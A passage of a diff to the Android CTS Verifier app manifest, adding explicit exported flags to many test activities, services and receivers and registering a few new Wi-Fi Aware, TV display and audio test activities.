+        <activity android:name=".wifiaware.DataPathPmkSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity-alias android:name=".CtsVerifierActivity" android:label="@string/app_name"
+                android:exported="true"
                 android:targetActivity=".TestListActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3385,6 +3545,7 @@
 
         <!-- remove comment from the next activity to see the sample test surfacing in the app -->
         <!-- activity android:name=".sample.SampleTestActivity"
+                android:exported="true"
                   android:label="@string/sample_framework_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3394,6 +3555,7 @@
         </activity -->
 
         <activity android:name=".widget.WidgetTestActivity"
+                android:exported="true"
                 android:label="@string/widget_framework_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3409,6 +3571,7 @@
         </activity>
 
         <activity android:name=".deskclock.DeskClockTestsActivity"
+                android:exported="true"
                   android:label="@string/deskclock_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3427,6 +3590,7 @@
         <activity
                 android:name="com.android.cts.verifier.sensors.StepCounterTestActivity"
                 android:label="@string/snsr_step_counter_test"
+                android:exported="true"
                 android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3441,6 +3605,7 @@
        <activity
             android:name="com.android.cts.verifier.sensors.StepSensorPermissionTestActivity"
             android:label="@string/snsr_step_permission_test"
+                android:exported="true"
             android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3459,6 +3624,7 @@
         <activity
                 android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity"
                 android:label="@string/snsr_device_suspend_test"
+                android:exported="true"
                 android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3487,6 +3653,7 @@
         <activity
             android:name="com.android.cts.verifier.sensors.SignificantMotionTestActivity"
             android:label="@string/snsr_significant_motion_test"
+                android:exported="true"
             android:screenOrientation="nosensor" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3505,6 +3672,7 @@
         <activity
             android:name="com.android.cts.verifier.sensors.EventSanitizationTestActivity"
             android:label="@string/snsr_event_sanitization_test"
+            android:exported="true"
             android:screenOrientation="nosensor" >
 
             <intent-filter>
@@ -3547,7 +3715,8 @@
             <meta-data android:name="display_mode" android:value="single_display_mode" />
         </activity>
 
-        <receiver android:name=".widget.WidgetCtsProvider">
+        <receiver android:name=".widget.WidgetCtsProvider"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
             </intent-filter>
@@ -3562,6 +3731,7 @@
             android:exported="false" />
 
         <activity android:name=".projection.cube.ProjectionCubeActivity"
+                android:exported="true"
                   android:label="@string/pca_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3574,6 +3744,7 @@
         </activity>
 
         <activity android:name=".projection.widgets.ProjectionWidgetActivity"
+                android:exported="true"
                   android:label="@string/pwa_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3586,6 +3757,7 @@
         </activity>
 
         <activity android:name=".projection.list.ProjectionListActivity"
+                android:exported="true"
                   android:label="@string/pla_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3599,6 +3771,7 @@
         </activity>
 
         <activity android:name=".projection.video.ProjectionVideoActivity"
+                android:exported="true"
                   android:label="@string/pva_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3612,6 +3785,7 @@
         </activity>
 
         <activity android:name=".projection.touch.ProjectionTouchActivity"
+                android:exported="true"
                   android:label="@string/pta_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3626,6 +3800,7 @@
 
 
         <activity android:name=".projection.offscreen.ProjectionOffscreenActivity"
+                android:exported="true"
                   android:label="@string/poa_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3643,6 +3818,7 @@
                  android:process=":projectionservice" />
 
         <activity android:name=".managedprovisioning.DeviceOwnerNegativeTestActivity"
+                android:exported="true"
                 android:label="@string/negative_device_owner">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3662,6 +3838,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyInfoOnlyTestActivity"
+                android:exported="true"
                 android:label="@string/enterprise_privacy_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY_INFO_ONLY" />
@@ -3672,10 +3849,12 @@
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerPositiveTestActivity"
+                android:exported="true"
                 android:label="@string/positive_device_owner">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
@@ -3688,6 +3867,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.ManagedUserPositiveTestActivity"
+                 android:exported="true"
                   android:label="@string/managed_user_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3699,6 +3879,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerRequestingBugreportTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_requesting_bugreport_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3725,6 +3906,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.CrossProfilePermissionControlActivity"
+                android:exported="true"
                   android:label="@string/provisioning_byod_cross_profile_permission_control">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CROSS_PROFILE_PERMISSION_CONTROL" />
@@ -3741,6 +3923,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_lock_task_ui_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.STOP_LOCK_TASK" />
@@ -3757,6 +3940,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.VpnTestActivity"
+                android:exported="true"
                 android:label="@string/device_owner_vpn_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.VPN" />
@@ -3767,6 +3951,7 @@
         </activity>
 
         <service android:name=".managedprovisioning.VpnTestActivity$MyTestVpnService"
+                android:exported="true"
                 android:permission="android.permission.BIND_VPN_SERVICE">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
@@ -3774,6 +3959,7 @@
         </service>
 
         <activity android:name=".managedprovisioning.AlwaysOnVpnSettingsTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_byod_always_on_vpn">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.ALWAYS_ON_VPN_SETTINGS_TEST" />
@@ -3784,6 +3970,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.KeyChainTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_byod_keychain">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.KEYCHAIN" />
@@ -3794,6 +3981,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
+                android:exported="true"
                 android:label="@string/device_profile_owner_permission_lockdown_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PERMISSION_LOCKDOWN" />
@@ -3805,6 +3993,7 @@
 
         <activity-alias
                 android:name=".managedprovisioning.ManagedProfilePermissionLockdownTestActivity"
+                android:exported="true"
                 android:targetActivity=".managedprovisioning.PermissionLockdownTestActivity">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN" />
@@ -3819,6 +4008,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.PolicyTransparencyTestListActivity"
+                android:exported="true"
                 android:label="@string/device_profile_owner_policy_transparency_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_POLICY_TRANSPARENCY" />
@@ -3828,7 +4018,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.PolicyTransparencyTestActivity">
+        <activity android:name=".managedprovisioning.PolicyTransparencyTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.SHOW_POLICY_TRANSPARENCY_TEST" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3838,6 +4029,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestListActivity"
+                android:exported="true"
                 android:label="@string/enterprise_privacy_test">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_ENTERPRISE_PRIVACY" />
@@ -3849,6 +4041,7 @@
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestDefaultAppActivity"
                 android:label="@string/enterprise_privacy_default_app"
+                android:exported="true"
                 android:enabled="false">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
@@ -3893,6 +4086,7 @@
 
         <activity android:name=".managedprovisioning.CommandReceiverActivity"
                 android:theme="@android:style/Theme.NoDisplay"
+                android:exported="true"
                 android:noHistory="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.EXECUTE_COMMAND" />
@@ -3902,7 +4096,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.SetSupportMessageActivity">
+        <activity android:name=".managedprovisioning.SetSupportMessageActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.SET_SUPPORT_MSG" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -3913,6 +4108,7 @@
 
         <service android:name=".managedprovisioning.PolicyTransparencyTestActivity$TestInputMethod"
                 android:label="@string/test_input_method_label"
+                android:exported="true"
                 android:permission="android.permission.BIND_INPUT_METHOD">
             <intent-filter>
                 <action android:name="android.view.InputMethod" />
@@ -3922,6 +4118,7 @@
 
         <service android:name=".managedprovisioning.PolicyTransparencyTestActivity$TestAccessibilityService"
                 android:label="@string/test_accessibility_service_label"
+                android:exported="true"
                 android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
             <intent-filter>
                 <action android:name="android.accessibilityservice.AccessibilityService" />
@@ -3929,6 +4126,7 @@
         </service>
 
         <activity android:name=".managedprovisioning.AuthenticationBoundKeyTestActivity"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.AUTH_BOUND_KEY_TEST" />
@@ -3940,6 +4138,7 @@
 
         <activity android:name=".managedprovisioning.ByodFlowTestActivity"
                 android:launchMode="singleTask"
+                android:exported="true"
                 android:label="@string/provisioning_byod">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3964,13 +4163,20 @@
         </activity>
 
         <receiver
-            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver">
+            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.MANAGED_PROFILE_PROVISIONED" />
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
+
         <activity android:name=".managedprovisioning.ByodProvisioningTestActivity"
+                android:exported="true"
                 android:label="@string/provisioning_tests_byod">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3987,7 +4193,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.ByodHelperActivity">
+        <activity android:name=".managedprovisioning.ByodHelperActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_QUERY" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_REMOVE" />
@@ -4022,7 +4229,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.ByodPrimaryHelperActivity">
+        <activity android:name=".managedprovisioning.ByodPrimaryHelperActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_INSTALL_APK_IN_PRIMARY" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -4047,7 +4255,8 @@
                 android:resource="@xml/filepaths" />
         </provider>
 
-        <activity android:name=".managedprovisioning.ByodIconSamplerActivity">
+        <activity android:name=".managedprovisioning.ByodIconSamplerActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.BYOD_SAMPLE_ICON" />
                 <category android:name="android.intent.category.DEFAULT"></category>
@@ -4057,6 +4266,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.HandleIntentActivity"
+                android:exported="true"
                 android:enabled="false">
             <intent-filter>
                 <!-- We need to have at least one activity listening to these intents on the device
@@ -4130,7 +4340,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.CrossProfileTestActivity">
+        <activity android:name=".managedprovisioning.CrossProfileTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.CROSS_PROFILE_TO_PERSONAL" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.CROSS_PROFILE_TO_WORK" />
@@ -4152,7 +4363,8 @@
                        android:value="single_display_mode" />
         </activity>
 
-        <activity android:name=".managedprovisioning.WorkStatusTestActivity">
+        <activity android:name=".managedprovisioning.WorkStatusTestActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.WORK_STATUS_ICON" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.WORK_STATUS_TOAST" />
@@ -4169,6 +4381,7 @@
         </activity>
 
         <activity android:name=".managedprovisioning.WorkProfileWidgetActivity"
+                android:exported="true"
                   android:label="@string/provisioning_byod_work_profile_widget">
         <intent-filter>
                 <action android:name="com.android.cts.verifier.byod.test_work_profile_widget"/>
@@ -4180,6 +4393,7 @@
 
         <receiver android:name=".managedprovisioning.DeviceAdminTestReceiver"
                 android:label="@string/afw_device_admin"
+                android:exported="true"
                 android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/device_admin_byod" />
@@ -4200,6 +4414,7 @@
         </activity>
 
         <activity android:name=".tv.TvInputDiscoveryTestActivity"
+                android:exported="true"
                 android:label="@string/tv_input_discover_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4213,6 +4428,7 @@
         </activity>
 
         <activity android:name=".tv.ParentalControlTestActivity"
+                android:exported="true"
                 android:label="@string/tv_parental_control_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4226,6 +4442,7 @@
         </activity>
 
         <activity android:name=".tv.MultipleTracksTestActivity"
+                android:exported="true"
                 android:label="@string/tv_multiple_tracks_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4239,6 +4456,7 @@
         </activity>
 
         <activity android:name=".tv.TimeShiftTestActivity"
+                android:exported="true"
                 android:label="@string/tv_time_shift_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4253,6 +4471,7 @@
 
         <activity android:name=".tv.AppLinkTestActivity"
             android:label="@string/tv_app_link_test"
+                android:exported="true"
             android:launchMode="singleTask">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4266,6 +4485,7 @@
         </activity>
 
         <activity android:name=".tv.MicrophoneDeviceTestActivity"
+                android:exported="true"
                   android:label="@string/tv_microphone_device_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4293,6 +4513,7 @@
         </activity>
         <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
                   android:label="@string/tv_hdr_capabilities_test"
+                android:exported="true"
                   android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4301,14 +4522,26 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.leanback" />
-            <meta-data android:name="test_required_configs"
-                       android:value="config_tv_panel"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+        <activity android:name=".tv.display.DisplayModesTestActivity"
+                  android:label="@string/tv_display_modes_test"
+                android:exported="true"
+                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
 
-
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
+                android:exported="true"
             android:label="@string/screen_pinning_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4321,7 +4554,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".tv.MockTvInputSetupActivity">
+        <activity android:name=".tv.MockTvInputSetupActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
             </intent-filter>
@@ -4330,6 +4564,7 @@
         </activity>
 
         <activity android:name=".audio.RingerModeActivity"
+                android:exported="true"
                   android:label="@string/ringer_mode_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4344,6 +4579,7 @@
 
         <activity android:name=".audio.HifiUltrasoundTestActivity"
                 android:label="@string/hifi_ultrasound_test"
+                android:exported="true"
                 android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4351,12 +4587,12 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.HifiUltrasoundSpeakerTestActivity"
                 android:label="@string/hifi_ultrasound_speaker_test"
+                android:exported="true"
                 android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4364,11 +4600,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioOutputDeviceNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_out_devices_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4377,11 +4613,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioInputDeviceNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_in_devices_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4390,11 +4626,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioOutputRoutingNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_output_routingnotifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4403,11 +4639,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioInputRoutingNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_input_routingnotifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4416,11 +4652,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralAttributesActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_attribs_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4430,11 +4666,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralNotificationsTest"
+                android:exported="true"
                   android:label="@string/audio_uap_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4444,11 +4680,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralPlayActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_play_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4458,11 +4694,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralRecordActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_record_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4472,11 +4708,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralButtonsActivity"
+                android:exported="true"
             android:label="@string/audio_uap_buttons_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4486,11 +4722,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBRestrictRecordAActivity"
+                android:exported="true"
                   android:label="@string/audio_usb_restrict_record_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4500,11 +4736,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.ProAudioActivity"
+                android:exported="true"
                   android:label="@string/pro_audio_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4512,14 +4748,22 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
-        <!-- ProAudio test invokes the "Loopback" App -->
-        <activity android:name="org.drrickorang.loopback"/>
+        <activity android:name=".audio.AnalogHeadsetAudioActivity"
+                android:exported="true"
+            android:label="@string/audio_headset_audio_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
+        </activity>
 
         <activity android:name=".audio.AudioLoopbackLatencyActivity"
+                android:exported="true"
                   android:label="@string/audio_loopback_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4529,11 +4773,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.MidiActivity"
+                android:exported="true"
                   android:label="@string/midi_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4542,11 +4786,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features"
                 android:value="android.hardware.usb.host:android.software.midi" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.NDKMidiActivity"
+                android:exported="true"
                   android:label="@string/ndk_midi_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4555,11 +4799,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features"
                 android:value="android.hardware.usb.host:android.software.midi" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <service android:name="com.android.midi.MidiEchoTestService"
+                android:exported="true"
             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
             <intent-filter>
                 <action android:name="android.media.midi.MidiDeviceService" />
@@ -4569,6 +4813,7 @@
         </service>
 
         <activity android:name=".audio.AudioFrequencyLineActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_line_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4576,11 +4821,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencySpeakerActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_speaker_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4588,11 +4833,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyMicActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_mic_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
